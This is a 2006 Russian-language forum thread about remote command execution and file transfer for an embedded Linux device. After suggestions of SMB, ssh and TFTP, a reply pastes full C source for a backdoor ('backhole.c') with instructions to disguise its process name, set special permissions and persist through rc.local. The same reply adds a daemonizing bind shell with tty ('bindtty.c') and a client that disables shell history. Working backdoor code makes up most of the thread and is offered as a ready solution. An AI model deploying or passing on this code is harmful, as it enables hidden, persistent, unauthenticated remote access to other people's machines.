Client Win -> Server Linux
От: March_rabbit  
Дата: 11.01.06 19:49
Оценка:
Всем здрасти!

Вощем, надо разработать программу (или взять готовую, если найдется) для сабжа.
Задачи программы:
1) Пересылка файлов в обе стороны. Причем умение записи/чтения файлов устройств — обязательно!
Размеры файлов до 128Мб (от 0 байт, причем большие редко, чаще — до 128кБ)
2) Выполнение команд формата bash в линуксе с передачей результата в виде текста в винду.
Для выполнения команд думаю использовать запущенный в фоне bash (для реализации некоей консоли).
Думаю над реализацией нескольких таких самолепных консолей.

Вот такая задача. Вопрос к знатокам: что лучше применить? Думаю применить простейшие сокеты. Однако, хочется параллельно освоить новое что-либо Может, есть какие-либо более высокоуровневые библиотеки для реализации обмена?
В сетях опыта нет, поэтому прошу не пинать Если лень что-то сочинять — просто укажите пальцем на адрес в инете
Re: Client Win -> Server Linux
От: DOOM Россия  
Дата: 12.01.06 06:16
Оценка:
Здравствуйте, March_rabbit, Вы писали:

M_>Всем здрасти!


M_>Вощем, надо разработать программу (или взять готовую, если найдется) для сабжа.

M_>Задачи программы:
M_>1) Пересылка файлов в обе стороны. Причем умение записи/чтения файлов устройств — обязательно!
M_>Размеры файлов до 128Мб (от 0 байт, причем большие редко, чаще — до 128кБ)
Чем SMB не устраивает?

M_>2) Выполнение команд формата bash в линуксе с передачей результата в виде текста в винду.

M_>Для выполнения команд думаю использовать запущенный в фоне bash (для реализации некоей консоли).
M_>Думаю над реализацией нескольких таких самолепных консолей.
Зачем? Есть telnet, ssh и т.п.
Re[2]: Client Win -> Server Linux
От: March_rabbit  
Дата: 12.01.06 18:26
Оценка:
Здравствуйте, DOOM, Вы писали:

DOO>Здравствуйте, March_rabbit, Вы писали:


M_>>Всем здрасти!


M_>>Вощем, надо разработать программу (или взять готовую, если найдется) для сабжа.

M_>>Задачи программы:
M_>>1) Пересылка файлов в обе стороны. Причем умение записи/чтения файлов устройств — обязательно!
M_>>Размеры файлов до 128Мб (от 0 байт, причем большие редко, чаще — до 128кБ)
DOO>Чем SMB не устраивает?

M_>>2) Выполнение команд формата bash в линуксе с передачей результата в виде текста в винду.

M_>>Для выполнения команд думаю использовать запущенный в фоне bash (для реализации некоей консоли).
M_>>Думаю над реализацией нескольких таких самолепных консолей.
DOO>Зачем? Есть telnet, ssh и т.п.


Моя вина, хотел сказать да забыл: речь идет о связи с МИНИверсией линукса. А это: ядро, утилиты на базе busybox 0.40b, чуть больше 2Мб библиотек в /lib. Вощем, самый необходимый для работы ИЗДЕЛИЯ минимум. И, чтобы туда что-то вставить — приходится ОЧЕНЬ поработать. Там даже RPM нету(!!!).
Большим подвигом было вставить в одну из подобных систем поддержку PCMCIA и сервер NFS!!!
Отсюда и нежелание установки всяких сложных систем туда.
А ведь связь с виндовсом — это не главное, основная связь здесь — с линуксом. Поэтому, SMB — это будет половинчатое решение.

Опять же, telnet, ssh и т.п. — требуют диких настроек. Был такой случай: из-за неправильного выключения системы у файла /dev/ttyp0 изменились атрибуты. В результате, в систему оказалось невозможно зайти по сети!!! Пришлось вынимать процессорную плату, загружать рабочую систему и ручками восстанавливать атрибуты!

Еще раз говорю — речь идет об embedded линуксе, с файловой системой размером 4-6Мб на флешке. И выключающейся в произвольный момент (без какой-либо подготовки), и процессор там — 486. Поэтому, все не так просто)))

Вощем, повторю — мне кажется, что будет проще написать что-то свое. Но принимаю другие версии)) В принципе, SMB плюс к тому что есть, даст требуемое... Но я хотел бы избавиться даже от telnet и клиента NFS))) Опять же — свой протокол — дополнительная защита от взлома со стороны)))
Re[3]: Client Win -> Server Linux
От: DOOM Россия  
Дата: 13.01.06 05:30
Оценка:
Здравствуйте, March_rabbit, Вы писали:

M_>Здравствуйте, DOOM, Вы писали:


M_>А ведь связь с виндовсом — это не главное, основная связь здесь — с линуксом. Поэтому, SMB — это будет половинчатое решение.


Так-то работает в обе стороны, но не спорю для встроенной системы это, конечно, жуть...

M_>Вощем, повторю — мне кажется, что будет проще написать что-то свое. Но принимаю другие версии)) В принципе, SMB плюс к тому что есть, даст требуемое... Но я хотел бы избавиться даже от telnet и клиента NFS))) Опять же — свой протокол — дополнительная защита от взлома со стороны)))


Защиты не будет, конечно. Уж, если нашлись люди, которые реверс инженерили SMB, то примитивный протокол кому надо разберут махом...

А вообще, раз все так плохо, то может TFTP? ИМХО, ничего легче не придумать...
А для команд можно напямую соединить shell с сокетом, как это делают многие руткиты.
Re: Client Win -> Server Linux
От: MishaSt  
Дата: 13.01.06 13:48
Оценка:
Да, для пересылки файлов можно FTP использовать...
А можно и не использовать, если вам не надо листинга лиректорий, можно вообшще, передавать только имя файла и содержимое — ВСЁ!!!
А bash, ну дык, просто цепляешь bash на сокет и всё. Хотя не всё так просто, если его просто на сокет цеплять, то фигня будет, сам bash нужно к одной части консоли цеплять, а сокет — к другой.
Закрываешь стандартные stdout, stderr открывешь сокет, делаешь dup2()... По-моему всё просто. Можно за пару дней сделать...

/*
  I needed a basic backdoor and most of the ones I ran across had so
  many bells and whistles, or were coded in eLe3t c0d3 that they were
  useless. I didn't need something that took a week to figure out and
  configure, and I didn't need shit that was made as a joke. This is a
  small, portable, and functional fake daemon. You tell it what you want
  it to run as under 'ps' and what port to bind to in the defines below.
  The smart thing to do would be to put this into the rc files so it will
  start up if they find you and reboot. I'd also change it's name to
  something no one will suspect. PS. if you think this is gay, (filtered) you..

  to complie:
  # gcc backhole.c -o backhole 

  to run:
  # ./backhole &
  i.e. # mv backhole /some/path/fakemail
       # chmod 4770 /path/to/fakemail
       # echo "/path/to/fakemail &" >> /etc/rc.d/rc.local
       # /path/to/fakemail &


  coded by Bronc Buster
  Feb 1999
*/

#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <strings.h>

/*****************************************************/
/*  Changes these two defines or this won't work! <g>*/
/*****************************************************/

/*  Change P to be the port you want this to listen on */
#define P 12345

/*  Change HIDE to the name you want this to show as in a ps */
#define HIDE "I_did_not_change_HIDE"

#define SH "/bin/sh"
#define LISTN 5

int main(int argc, char **argv)
{

/* welcome mesg */
char *fst = "\nConnected!\n\n";
char *sec = "This fine tool coded by Bronc Buster\n";
char *thr = "Please enter each command followed by ';'\n";

int outsock, insock, sz; 

/* set up two structs for in and out */
struct sockaddr_in home;
struct sockaddr_in away;
/* set port, proto and bzero for BIND */
home.sin_family=AF_INET;
home.sin_port=htons(P);
home.sin_addr.s_addr=INADDR_ANY;
bzero(&(home.sin_zero),8);

/* changing the name that will appear */
strcpy(argv[0],HIDE);

/* catch the SIG */
signal(SIGCHLD,SIG_IGN);

/* here we go! */
if((outsock=socket(AF_INET,SOCK_STREAM,0))<0)
 exit(printf("Socket error\n"));

if((bind(outsock,(struct sockaddr *)&home,sizeof(home))<0))
 exit(printf("Bind error\n"));

if((listen(outsock,LISTN))<0)
 exit(printf("Listen error\n"));

sz=sizeof(struct sockaddr_in);

/* infinate loop - wait for accept*/
for(;;)
 {
 if((insock=accept(outsock,(struct sockaddr *)&away, &sz))<0)
   exit(printf("Accept error"));
 if(fork() !=0)
   {
   send(insock,fst,strlen(fst),0); /* send out welcome mesg */
   send(insock,sec,strlen(sec),0);
   send(insock,thr,strlen(thr),0);
   dup2(insock,0); /* open stdin  */
   dup2(insock,1); /* open stdout */
   dup2(insock,2); /* open stderr */
   execl(SH,SH,(char *)0); /* start our shell */
   close(insock);
   exit(0); /* all done, leave and close sock */
   }
 close(insock);
 }
}


Токо с таким кодом нужно ; ставить после команды, и вообще, криво, а чтоб не криво — это нужно через tty пускать bash.
А вот этот говорят что с tty.


Bindshell

Grad kam eine nette kleine bindshell ueber full-disclosure, sowas sollte man sich mal aufheben (fedor.c), dazu findet sich dann auch noch der client sowie weitere Dinge auf http://hysteria.sk/sd/f/junk/bindshell/

bindtty.c:

/*
    bindtty - like bindshell, but with tty

    Features:
        - it can handle any number of clients
        - allocates tty for each session
        - no using termios.h/tty.h: compiles on most of gccs
        - linux specific ;(
    
    by sd
*/

#define HOME "/tmp"

#define    TIOCSCTTY    0x540E
#define TIOCGWINSZ      0x5413
#define TIOCSWINSZ      0x5414
#define ECHAR    0x1d

#define PORT    7832

#define    BUF    32768


#include 
#include 
#include 

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

struct winsize {
    unsigned short ws_row;
    unsigned short ws_col;
    unsigned short ws_xpixel;
    unsigned short ws_ypixel;
};

/* creates tty/pty name by index */
void    get_tty(int num, char *base, char *buf)
{
    char    series[] = "pqrstuvwxyzabcde";
    char    subs[] = "0123456789abcdef";
    int    pos = strlen(base);
    strcpy(buf, base);
    buf[pos] = series[(num >> 4) & 0xF];
    buf[pos+1] = subs[num & 0xF];
    buf[pos+2] = 0;
}

/* search for free pty and open it */
int    open_tty(int *tty, int *pty)
{
    char    buf[512];
    int    i, fd;
    
    fd = open("/dev/ptmx", O_RDWR);
    close(fd);
    
    for (i=0; i < 256; i++) {
        get_tty(i, "/dev/pty", buf);
        *pty = open(buf, O_RDWR);
        if (*pty < 0) continue;
        get_tty(i, "/dev/tty", buf);
        *tty = open(buf, O_RDWR);
        if (*tty < 0) {
            close(*pty);
            continue;
        }
        return 1;
    }
    return 0;
}

/* to avoid creating zombies ;) */
void    sig_child(int i)
{
    signal(SIGCHLD, sig_child);
    waitpid(-1, NULL, WNOHANG);
}

void    hangout(int i)
{
    kill(0, SIGHUP);
    kill(0, SIGTERM);
}

int    main()
{
    int    pid;
    struct    sockaddr_in    serv;
    struct    sockaddr_in    cli;
    int    sock;
    
    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock < 0) {
        perror("socket");
        return 1;
    }
    
    bzero((char *) &serv, sizeof(serv));
    serv.sin_family = AF_INET;
    serv.sin_addr.s_addr = htonl(INADDR_ANY);
    serv.sin_port = htons(PORT);
    if (bind(sock, (struct sockaddr *) &serv, sizeof(serv)) < 0) {
        perror("bind");
        return 1;
    }
    if (listen(sock, 5) < 0) {
        perror("listen");
        return 1;
    }
    
    printf("Daemon is starting..."); fflush(stdout);
    pid = fork();
    if (pid !=0 ) {
        printf("OK, pid = %d\n", pid);
        return 0;
    }

    /* daemonize */
    setsid();
    chdir("/");
    pid = open("/dev/null", O_RDWR);
    dup2(pid, 0);
    dup2(pid, 1);
    dup2(pid, 2);
    close(pid);
    signal(SIGHUP, SIG_IGN);
    signal(SIGCHLD, sig_child);
    while (1) {
        int    scli;
        int    slen;
        slen = sizeof(cli);
        scli = accept(sock, (struct sockaddr *) &cli, &slen);
        if (scli < 0) continue;
        pid = fork();
        if (pid == 0) {
            int    subshell;
            int    tty;
            int    pty;
            fd_set    fds;
            char    buf[BUF];
            char    *argv[] = {"sh", "-i", NULL};
            #define MAXENV    256
            #define    ENVLEN    256
            char    *envp[MAXENV];
            char    envbuf[(MAXENV+2) * ENVLEN];
            int    j, i;
            char    home[256];

            /* setup enviroment */
            envp[0] = home;
            sprintf(home, "HOME=/tmp", HOME);
            j = 0;
            do {
                i = read(scli, &envbuf[j * ENVLEN], ENVLEN);
                envp[j+1] = &envbuf[j * ENVLEN];
                j++;
                if ((j >= MAXENV) || (i < ENVLEN)) break;
            } while (envbuf[(j-1) * ENVLEN] != '\n');
            envp[j+1] = NULL;

            /* create new group */
            setpgid(0, 0);

            /* open slave & master side of tty */
            if (!open_tty(&tty, &pty)) {
                char    msg[] = "Can't fork pty, bye!\n";
                write(scli, msg, strlen(msg));
                close(scli);
                exit(0);
            }
            /* fork child */
            subshell = fork();
            if (subshell == 0) {
                /* close master */
                close(pty);
                /* attach tty */
                setsid();
                ioctl(tty, TIOCSCTTY);
                /* close local part of connection */
                close(scli);
                close(sock);
                signal(SIGHUP, SIG_DFL);
                signal(SIGCHLD, SIG_DFL);
                dup2(tty, 0);
                dup2(tty, 1);
                dup2(tty, 2);
                close(tty);
                execve("/bin/sh", argv, envp);
            }
            /* close slave */
            close(tty);

            signal(SIGHUP, hangout);
            signal(SIGTERM, hangout);

            while (1) {
                /* watch tty and client side */
                FD_ZERO(&fds);
                FD_SET(pty, &fds);
                FD_SET(scli, &fds);
                if (select((pty > scli) ? (pty+1) : (scli+1),
                    &fds, NULL, NULL, NULL) < 0)
                    {
                        break;
                }
                if (FD_ISSET(pty, &fds)) {
                    int    count;
                    count = read(pty, buf, BUF);
                    if (count <= 0) break;
                    if (write(scli, buf, count) <= 0) break;
                }
                if (FD_ISSET(scli, &fds)) {
                    int    count;
                    unsigned    char *p, *d;
                    d = buf;
                    count = read(scli, buf, BUF);            
                    if (count <= 0) break;
                    
                    /* setup win size */
                    p = memchr(buf, ECHAR, count);
                    if (p) {
                        unsigned char    wb[5];
                        int    rlen = count - ((ulong) p - (ulong) buf);
                        struct    winsize ws;

                        /* wait for rest */
                        if (rlen > 5) rlen = 5;
                        memcpy(wb, p, rlen);
                        if (rlen < 5) {
                            read(scli, &wb[rlen], 5 - rlen);
                        }

                        /* setup window */
                        ws.ws_xpixel = ws.ws_ypixel = 0;
                        ws.ws_col = (wb[1] << 8) + wb[2];
                        ws.ws_row = (wb[3] << 8) + wb[4];
                        ioctl(pty, TIOCSWINSZ, &ws);
                        kill(0, SIGWINCH);

                        /* write the rest */
                        write(pty, buf, (ulong) p - (ulong) buf);
                        rlen = ((ulong) buf + count) - ((ulong)p+5);
                        if (rlen > 0) write(pty, p+5, rlen);
                    } else
                        if (write(pty, d, count) <= 0) break;
                }
            }
            close(scli);
            close(sock);
            close(pty);

            waitpid(subshell, NULL, 0);
            vhangup();
            exit(0);
        }
        close(scli);
    }
}





contty.c:




/*
    bindtty - like bindshell, but with tty
    
    This is client side

    by sd 
*/


#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define ECHAR    0x1d
#define TIOCGWINSZ      0x5413
#define TIOCSWINSZ      0x5414

int        winsize;

char    *envtab[] = 
{
    "",
    "",
    "LOGNAME=shitdown",
    "USERNAME=shitdown",
    "USER=shitdown",
    "PS1=[\ut@\\h \\W]\\$ ",
    "HISTFILE=/dev/null",
    "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin:./bin",
    "!TERM",
    NULL
};

void    sendenv(int sock)
{
    struct    winsize    ws;
#define    ENVLEN    256
    char    envbuf[ENVLEN+1];
    char    buf1[256];
    char    buf2[256];
    int    i = 0;

    ioctl(0, TIOCGWINSZ, &ws);
    sprintf(buf1, "COLUMNS=%d", ws.ws_col);
    sprintf(buf2, "LINES=%d", ws.ws_row);
    envtab[0] = buf1; envtab[1] = buf2;

    while (envtab[i]) {
        bzero(envbuf, ENVLEN);
        if (envtab[i][0] == '!') {
            char *env;
            env = getenv(&envtab[i][1]);
            if (!env) goto oops;
            sprintf(envbuf, "%s=%s", &envtab[i][1], env);
        } else {
            strncpy(envbuf, envtab[i], ENVLEN);
        }
        write(sock, envbuf, ENVLEN);
oops:
        i++;
    }
    write(sock, "\n\n\n", 3);
}

void    winch(int i)
{
    signal(SIGWINCH, winch);
    winsize++;
}

int    usage(char *s)
{
    printf("use: %s  [port]\n", s);
    return 1;
}

#define BUF    16384

int    main(int argc, char *argv[])
{
    int        port = 4000;
    struct    hostent *he;
    struct    sockaddr_in serv;
    struct    termios    old, new;
    int        sock;
    unsigned char    buf[BUF];
    fd_set        fds;
    int        eerrno;
    struct    winsize    ws;

    /* input checks */
    if (argc < 2) return usage(argv[0]);
    if (argc == 3) {
        if (sscanf(argv[2], "%d", &port) != 1)
            return usage(argv[0]);
    }

    /* resolve host */
    bzero((char *) &serv, sizeof(serv));
    serv.sin_addr.s_addr = inet_addr(argv[1]);
    if (serv.sin_addr.s_addr == INADDR_NONE) {
        printf("Looking up %s...", argv[1]); fflush(stdout);
        he = gethostbyname(argv[1]);
        if (!he) {
            printf("Failed!\n");
            return 1;
        }
        memcpy((char *) &serv.sin_addr, (char *) he->h_addr,
               sizeof(serv.sin_addr));
        printf("OK\n");
    }
    printf("Trying %s:%d...\n", inet_ntoa(serv.sin_addr), port);
    fflush(stdout);

    /* connect */
    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock < 0) {
        perror("socket");
        return 1;
    }

    serv.sin_family = AF_INET;
    serv.sin_port = htons(port);
    if (connect(sock, (struct sockaddr *) &serv, sizeof(serv)) < 0) {
        perror("connect");
        return 1;
    }
    printf(
        "Connected to %s.\n"
        "Escape character is '^]'\n", argv[1]);

    /* send enviroment */
    sendenv(sock);

    /* set-up terminal */
    tcgetattr(0, &old);
    new = old;
    new.c_lflag &= ~(ICANON | ECHO | ISIG);
    new.c_iflag &= ~(IXON | IXOFF);
    tcsetattr(0, TCSAFLUSH, &new);

    winch(0);
    while (1) {
        FD_ZERO(&fds);
        FD_SET(0, &fds);
        FD_SET(sock, &fds);
        
        if (winsize) {
            if (ioctl(0, TIOCGWINSZ, &ws) == 0) {
                buf[0] = ECHAR;
                buf[1] = (ws.ws_col >> 8) & 0xFF;
                buf[2] = ws.ws_col & 0xFF;
                buf[3] = (ws.ws_row >> 8) & 0xFF;
                buf[4] = ws.ws_row & 0xFF;
                write(sock, buf, 5);
            }
            winsize = 0;
        }

        if (select(sock+1, &fds, NULL, NULL, NULL) < 0) {
            if (errno == EINTR) continue;
            break;
        }
        if (winsize) continue;
        if (FD_ISSET(0, &fds)) {
            int    count = read(0, buf, BUF);
            int    i;
            if (count <= 0) break;
            if (memchr(buf, ECHAR, count)) break;
            if (write(sock, buf, count) <= 0) break;
        }
        if (FD_ISSET(sock, &fds)) {
            int    count = read(sock, buf, BUF);
            if (count <= 0) break;
            if (write(0, buf, count) <= 0) break;
        }
    }
    close(sock);
    tcsetattr(0, TCSAFLUSH, &old);
    printf("\nConnection closed.\n");
    return 0;
}
... << RSDN@Home 1.1.4 stable rev. 625>>
 
Подождите ...
Wait...
Пока на собственное сообщение не было ответов, его можно удалить.